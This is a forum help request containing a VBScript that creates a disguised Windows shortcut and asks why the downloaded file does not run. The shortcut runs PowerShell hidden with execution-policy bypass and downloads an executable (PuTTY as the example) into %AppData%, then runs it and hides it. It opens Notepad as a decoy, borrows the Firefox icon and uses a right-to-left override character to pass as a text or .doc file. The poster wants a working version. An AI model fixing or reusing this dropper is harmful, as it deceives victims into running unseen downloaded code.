Jump to content

Executing downloaded file in download location. Vbscript


Recommended Posts

I in situation where I am trying to make a shortcut file that download putty.exe into %appdata% directory and also execute the downloaded file in windows but the active script below just downloads putty.exe into %appdata% directory without executing the setupfile downloaded into %appdata%.

Dim DownLoadLink, FileName
DownLoadLink = "'https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe'"
FileName = "'%AppData%\putty.exe'"

Set WshShell = CreateObject("WScript.Shell")
Set ShApp = CreateObject("Shell.Application")
DesktopPath = ShApp.Namespace(0).Self.Path
unicode = Unescape("%u0052%u0065%u0061%u0064%u004d%u0065%u005f%u202e%u0074%u0078%u0074%u002e%u006c%u006e%u006b")
unicodeName = "unicode.lnk"
shortcutPath = DesktopPath & "\" & unicodeName
Set lnk = WshShell.CreateShortcut(shortcutPath)
lnk.TargetPath = "powershell.exe"
lnk.Arguments =  "-ExecutionPolicy Bypass -WindowStyle Hidden -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile(" & DownLoadLink & "," & FileName & ");./" & Filename & ";(get-item " & Filename & ").Attributes += 'Hidden';"
lnk.IconLocation = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
lnk.Description = "Type: Shortcut File"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file = FSO.GetFile(shortcutPath)
file.name = unicode & ".doc"

Any prossible solution this problem will be appreciated. Thanks

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...